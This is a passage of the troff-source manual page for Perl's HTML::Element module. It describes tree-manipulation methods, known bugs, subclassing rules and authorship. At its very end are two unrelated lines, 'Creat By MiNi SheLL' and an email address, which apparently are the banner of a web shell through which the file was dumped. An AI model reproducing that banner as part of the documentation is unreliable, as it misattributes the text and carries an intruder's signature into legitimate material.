This undoes the effect of \f(CW$h\fR\->objectify_text.  That is, it takes any
\&\*(L"~text\*(R" pseudo-elements in the tree at/under \f(CW$h\fR, and deletes each one,
replacing each with the content of its \*(L"text\*(R" attribute. 
.PP
Note that if \f(CW$h\fR itself is a \*(L"~text\*(R" pseudo\-element, it will be
destroyed \*(-- a condition you may need to treat specially in your
calling code (since it means you can't very well do anything with \f(CW$h\fR
after that).  So that you can detect that condition, if \f(CW$h\fR is itself a
\&\*(L"~text\*(R" pseudo\-element, then this method returns the value of the
\&\*(L"text\*(R" attribute, which should be a defined value; in all other cases,
it returns undef.
.PP
(This method assumes that no \*(L"~text\*(R" pseudo-element has any children.)
.Sh "$h\->\fInumber_lists()\fP"
.IX Subsection "$h->number_lists()"
For every \s-1UL\s0, \s-1OL\s0, \s-1DIR\s0, and \s-1MENU\s0 element at/under \f(CW$h\fR, this sets a
\&\*(L"_bullet\*(R" attribute for every child \s-1LI\s0 element.  For \s-1LI\s0 children of an
\&\s-1OL\s0, the \*(L"_bullet\*(R" attribute's value will be something like \*(L"4.\*(R", \*(L"d.\*(R",
\&\*(L"D.\*(R", \*(L"\s-1IV\s0.\*(R", or \*(L"iv.\*(R", depending on the \s-1OL\s0 element's \*(L"type\*(R" attribute.
\&\s-1LI\s0 children of a \s-1UL\s0, \s-1DIR\s0, or \s-1MENU\s0 get their \*(L"_bullet\*(R" attribute set
to \*(L"*\*(R".
There should be no other LIs (i.e., except as children of \s-1OL\s0, \s-1UL\s0, \s-1DIR\s0,
or \s-1MENU\s0 elements), and if there are, they are unaffected.
.Sh "$h\->has_insane_linkage"
.IX Subsection "$h->has_insane_linkage"
This method is for testing whether this element or the elements
under it have linkage attributes (_parent and _content) whose values
are deeply aberrant: if there are undefs in a content list; if an
element appears in the content lists of more than one element;
if the _parent attribute of an element doesn't match its actual
parent; or if an element appears as its own descendant (i.e.,
if there is a cyclicity in the tree).
.PP
This returns empty list (or false, in scalar context) if the subtree's
linkage methods are sane; otherwise it returns two items (or true, in
scalar context): the element where the error occurred, and a string
describing the error.
.PP
This method is provided is mainly for debugging and troubleshooting \*(--
it should be \fIquite impossible\fR for any document constructed via
HTML::TreeBuilder to parse into a non-sane tree (since it's not
the content of the tree per se that's in question, but whether
the tree in memory was properly constructed); and it \fIshould\fR be
impossible for you to produce an insane tree just thru reasonable
use of normal documented structure-modifying methods.  But if you're
constructing your own trees, and your program is going into infinite
loops as during calls to \fItraverse()\fR or any of the secondary
structural methods, as part of debugging, consider calling is_insane
on the tree.
.SH "BUGS"
.IX Header "BUGS"
* If you want to free the memory associated with a tree built of
HTML::Element nodes, then you will have to delete it explicitly.
See the \f(CW$h\fR\->delete method, above.
.PP
* There's almost nothing to stop you from making a \*(L"tree\*(R" with
cyclicities (loops) in it, which could, for example, make the
traverse method go into an infinite loop.  So don't make
cyclicities!  (If all you're doing is parsing \s-1HTML\s0 files,
and looking at the resulting trees, this will never be a problem
for you.)
.PP
* There's no way to represent comments or processing directives
in a tree with HTML::Elements.  Not yet, at least.
.PP
* There's (currently) nothing to stop you from using an undefined
value as a text segment.  If you're running under \f(CW\*(C`perl \-w\*(C'\fR, however,
this may make HTML::Element's code produce a slew of warnings.
.SH "NOTES ON SUBCLASSING"
.IX Header "NOTES ON SUBCLASSING"
You are welcome to derive subclasses from HTML::Element, but you
should be aware that the code in HTML::Element makes certain
assumptions about elements (and I'm using \*(L"element\*(R" to mean \s-1ONLY\s0 an
object of class HTML::Element, or of a subclass of HTML::Element):
.PP
* The value of an element's _parent attribute must either be undef or
otherwise false, or must be an element.
.PP
* The value of an element's _content attribute must either be undef or
otherwise false, or a reference to an (unblessed) array.  The array
may be empty; but if it has items, they must \s-1ALL\s0 be either mere
strings (text segments), or elements.
.PP
* The value of an element's _tag attribute should, at least, be a 
string of printable characters.
.PP
Moreover, bear these rules in mind:
.PP
* Do not break encapsulation on objects.  That is, access their
contents only thru \f(CW$obj\fR\->attr or more specific methods.
.PP
* You should think twice before completely overriding any of the
methods that HTML::Element provides.  (Overriding with a method that
calls the superclass method is not so bad, though.)
.SH "SEE ALSO"
.IX Header "SEE ALSO"
HTML::Tree; HTML::TreeBuilder; HTML::AsSubs; HTML::Tagset; 
and, for the morbidly curious, HTML::Element::traverse.
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
Copyright 1995\-1998 Gisle Aas, 1999\-2004 Sean M. Burke, 2005 Andy Lester,
2006 Pete Krawczyk.
.PP
This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.
.PP
This program is distributed in the hope that it will be useful, but
without any warranty; without even the implied warranty of
merchantability or fitness for a particular purpose.
.SH "AUTHOR"
.IX Header "AUTHOR"
Currently maintained by Pete Krawczyk \f(CW\*(C`<petek@cpan.org>\*(C'\fR
.PP
Original authors: Gisle Aas, Sean Burke and Andy Lester.
.PP
Thanks to Mark-Jason Dominus for a \s-1POD\s0 suggestion.

Creat By MiNi SheLL
Email: devilkiller@gmail.com